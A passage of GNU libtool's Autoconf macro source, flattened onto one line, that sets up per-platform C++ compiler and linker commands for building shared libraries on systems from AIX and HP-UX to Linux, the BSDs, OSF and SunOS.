support _LT_TAGVAR(ld_shlibs, $1)=no ;; aix[[4-9]]*) if test "$host_cpu" = ia64; then # On IA64, the linker does run time linking by default, so we don't # have to do anything special. aix_use_runtimelinking=no exp_sym_flag='-Bexport' no_entry_flag="" else aix_use_runtimelinking=no # Test if we are trying to use run time linking or normal # AIX style linking. If -brtl is somewhere in LDFLAGS, we # need to do runtime linking. case $host_os in aix4.[[23]]|aix4.[[23]].*|aix[[5-9]]*) for ld_flag in $LDFLAGS; do case $ld_flag in *-brtl*) aix_use_runtimelinking=yes break ;; esac done ;; esac exp_sym_flag='-bexport' no_entry_flag='-bnoentry' fi # When large executables or shared objects are built, AIX ld can # have problems creating the table of contents. If linking a library # or program results in "error TOC overflow" add -mminimal-toc to # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. _LT_TAGVAR(archive_cmds, $1)='' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(hardcode_libdir_separator, $1)=':' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(file_list_spec, $1)='${wl}-f,' if test "$GXX" = yes; then case $host_os in aix4.[[012]]|aix4.[[012]].*) # We only want to do this on AIX 4.2 and lower, the check # below for broken collect2 doesn't work under 4.3+ collect2name=`${CC} -print-prog-name=collect2` if test -f "$collect2name" && strings "$collect2name" | $GREP resolve_lib_name >/dev/null then # We have reworked collect2 : else # We have old collect2 _LT_TAGVAR(hardcode_direct, $1)=unsupported # It fails to find uninstalled libraries when the uninstalled # path is not listed in the libpath. Setting hardcode_minus_L # to unsupported forces relinking _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)= fi esac shared_flag='-shared' if test "$aix_use_runtimelinking" = yes; then shared_flag="$shared_flag "'${wl}-G' fi else # not using gcc if test "$host_cpu" = ia64; then # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release # chokes on -Wl,-G. The following line is correct: shared_flag='-G' else if test "$aix_use_runtimelinking" = yes; then shared_flag='${wl}-G' else shared_flag='${wl}-bM:SRE' fi fi fi _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-bexpall' # It seems that -bexpall does not export symbols beginning with # underscore (_), so it is better to generate a list of symbols to # export. _LT_TAGVAR(always_export_symbols, $1)=yes if test "$aix_use_runtimelinking" = yes; then # Warning - without using the other runtime loading flags (-brtl), # -berok will link without error, but may produce a broken library. _LT_TAGVAR(allow_undefined_flag, $1)='-berok' # Determine the default libpath from the value encoded in an empty # executable. _LT_SYS_MODULE_PATH_AIX _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag" else if test "$host_cpu" = ia64; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' _LT_TAGVAR(allow_undefined_flag, $1)="-z nodefs" _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols" else # Determine the default libpath from the value encoded in an # empty executable. _LT_SYS_MODULE_PATH_AIX _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" # Warning - without using the other run time loading flags, # -berok will link without error, but may produce a broken library. _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' # Exported symbols can be pulled into shared objects from archives _LT_TAGVAR(whole_archive_flag_spec, $1)='$convenience' _LT_TAGVAR(archive_cmds_need_lc, $1)=yes # This is similar to how AIX traditionally builds its shared # libraries. _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' fi fi ;; beos*) if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(allow_undefined_flag, $1)=unsupported # Joseph Beckenbach says some releases of gcc # support --undefined. This deserves some investigation. FIXME _LT_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; chorus*) case $cc_basename in *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; cygwin* | mingw* | pw32* | cegcc*) # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, # as there is no search path for DLLs. _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(allow_undefined_flag, $1)=unsupported _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' # If the export-symbols file already is a .def file (1st line # is EXPORTS), use it as is; otherwise, prepend... _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then cp $export_symbols $output_objdir/$soname.def; else echo EXPORTS > $output_objdir/$soname.def; cat $export_symbols >> $output_objdir/$soname.def; fi~ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; darwin* | rhapsody*) _LT_DARWIN_LINKER_FEATURES($1) ;; dgux*) case $cc_basename in ec++*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; ghcx*) # Green Hills C++ Compiler # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; freebsd[[12]]*) # C++ shared libraries reported to be fairly broken before # switch to ELF _LT_TAGVAR(ld_shlibs, $1)=no ;; freebsd-elf*) _LT_TAGVAR(archive_cmds_need_lc, $1)=no ;; freebsd* | dragonfly*) # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF # conventions _LT_TAGVAR(ld_shlibs, $1)=yes ;; gnu*) ;; hpux9*) _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, # but as the default # location of the library. case $cc_basename in CC*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; aCC*) _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $EGREP "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' ;; *) if test "$GXX" = yes; then _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' else # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac ;; hpux10*|hpux11*) if test $with_gnu_ld = no; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: case $host_cpu in hppa*64*|ia64*) ;; *) _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' ;; esac fi case $host_cpu in hppa*64*|ia64*) _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *) _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH, # but as the default # location of the library. ;; esac case $cc_basename in CC*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; aCC*) case $host_cpu in hppa*64*) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; ia64*) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; esac # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | $GREP "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' ;; *) if test "$GXX" = yes; then if test $with_gnu_ld = no; then case $host_cpu in hppa*64*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; ia64*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' ;; esac fi else # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac ;; interix[[3-9]]*) _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. # Instead, shared libraries are loaded at an image base (0x10000000 by # default) and relocated if they conflict, which is a slow very memory # consuming and fragmenting process. To avoid this, we pick a random, # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link # time. Moving up from 0x10000000 also allows more sbrk(2) space. _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' ;; irix5* | irix6*) case $cc_basename in CC*) # SGI C++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' # Archives containing C++ object files must be created using # "CC -ar", where "CC" is the IRIX C++ compiler. This is # necessary to make sure instantiated templates are included # in the archive. _LT_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs' ;; *) if test "$GXX" = yes; then if test "$with_gnu_ld" = no; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' else _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` -o $lib' fi fi _LT_TAGVAR(link_all_deplibs, $1)=yes ;; esac _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(inherit_rpath, $1)=yes ;; linux* | k*bsd*-gnu) case $cc_basename in KCC*) # Kuck and Associates, Inc. (KAI) C++ Compiler # KCC will only create a shared library if the output file # ends with ".so" (or ".sl" for HP-UX), so rename the library # to its proper name (with version) after linking. _LT_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib' # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | $GREP "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' # Archives containing C++ object files must be created using # "CC -Bstatic", where "CC" is the KAI C++ compiler. _LT_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' ;; icpc* | ecpc* ) # Intel C++ with_gnu_ld=yes # version 8.0 and above of icpc choke on multiply defined symbols # if we add $predep_objects and $postdep_objects, however 7.1 and # earlier do not add the objects themselves. case `$CC -V 2>&1` in *"Version 7."*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' ;; *) # Version 8.0 or newer tmp_idyn= case $host_cpu in ia64*) tmp_idyn=' -i_dynamic';; esac _LT_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' ;; esac _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive' ;; pgCC* | pgcpp*) # Portland Group C++ compiler case `$CC -V` in *pgCC\ [[1-5]]* | *pgcpp\ [[1-5]]*) _LT_TAGVAR(prelink_cmds, $1)='tpldir=Template.dir~ rm -rf $tpldir~ $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~ compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"' _LT_TAGVAR(old_archive_cmds, $1)='tpldir=Template.dir~ rm -rf $tpldir~ $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~ $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~ $RANLIB $oldlib' _LT_TAGVAR(archive_cmds, $1)='tpldir=Template.dir~ rm -rf $tpldir~ $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='tpldir=Template.dir~ rm -rf $tpldir~ $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib' ;; *) # Version 6 will use weak symbols _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib' ;; esac _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' ;; cxx*) # Compaq C++ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib ${wl}-retain-symbols-file $wl$export_symbols' runpath_var=LD_RUN_PATH _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld"`; templist=`$ECHO "X$templist" | $Xsed -e "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' ;; xl*) # IBM XL 8.0 on PPC, with GNU ld _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' _LT_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' if test "x$supports_anon_versioning" = xyes; then _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ echo "local: *; };" >> $output_objdir/$libname.ver~ $CC -qmkshrobj $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' fi ;; *) case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C++ 5.9 _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs' _LT_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -G${allow_undefined_flag} -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file ${wl}$export_symbols' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' _LT_TAGVAR(compiler_needs_object, $1)=yes # Not sure whether something based on # $CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 # would be better. output_verbose_link_cmd='echo' # Archives containing C++ object files must be created using # "CC -xar", where "CC" is the Sun C++ compiler. This is # necessary to make sure instantiated templates are included # in the archive. _LT_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' ;; esac ;; esac ;; lynxos*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; m88k*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; mvs*) case $cc_basename in cxx*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; *) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; esac ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags' wlarc= _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no fi # Workaround some broken pre-1.5 toolchains output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' ;; *nto* | *qnx*) _LT_TAGVAR(ld_shlibs, $1)=yes ;; openbsd2*) # C++ shared libraries are fairly broken _LT_TAGVAR(ld_shlibs, $1)=no ;; openbsd*) if test -f /usr/libexec/ld.so; then _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' fi output_verbose_link_cmd=echo else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; osf3* | osf4* | osf5*) case $cc_basename in KCC*) # Kuck and Associates, Inc. (KAI) C++ Compiler # KCC will only create a shared library if the output file # ends with ".so" (or ".sl" for HP-UX), so rename the library # to its proper name (with version) after linking. _LT_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo "$lib" | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: # Archives containing C++ object files must be created using # the KAI C++ compiler. case $host in osf3*) _LT_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' ;; *) _LT_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs' ;; esac ;; RCC*) # Rational C++ 2.4.1 # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; cxx*) case $host in osf3*) _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && $ECHO "X${wl}-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' ;; *) _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ echo "-hidden">> $lib.exp~ $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname ${wl}-input ${wl}$lib.exp `test -n "$verstring" && $ECHO "X-set_version $verstring" | $Xsed` -update_registry ${output_objdir}/so_locations -o $lib~ $RM $lib.exp' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' ;; esac _LT_TAGVAR(hardcode_libdir_separator, $1)=: # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. # # There doesn't appear to be a way to prevent this compiler from # explicitly linking system object files so we need to strip them # from the output so that they don't get included in the library # dependencies. output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "ld" | $GREP -v "ld:"`; templist=`$ECHO "X$templist" | $Xsed -e "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; $ECHO "X$list" | $Xsed' ;; *) if test "$GXX" = yes && test "$with_gnu_ld" = no; then _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' case $host in osf3*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "X${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' ;; *) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && $ECHO "${wl}-set_version ${wl}$verstring" | $Xsed` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' ;; esac _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: # Commands to make compiler produce verbose output that lists # what "hidden" libraries, object files and flags are used when # linking a shared library. output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | $GREP "\-L"' else # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac ;; psos*) # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; sunos4*) case $cc_basename in CC*) # Sun C++ 4.x # FIXME: insert proper C++ library support _LT_TAGVAR(ld_shlibs, $1)=no ;; 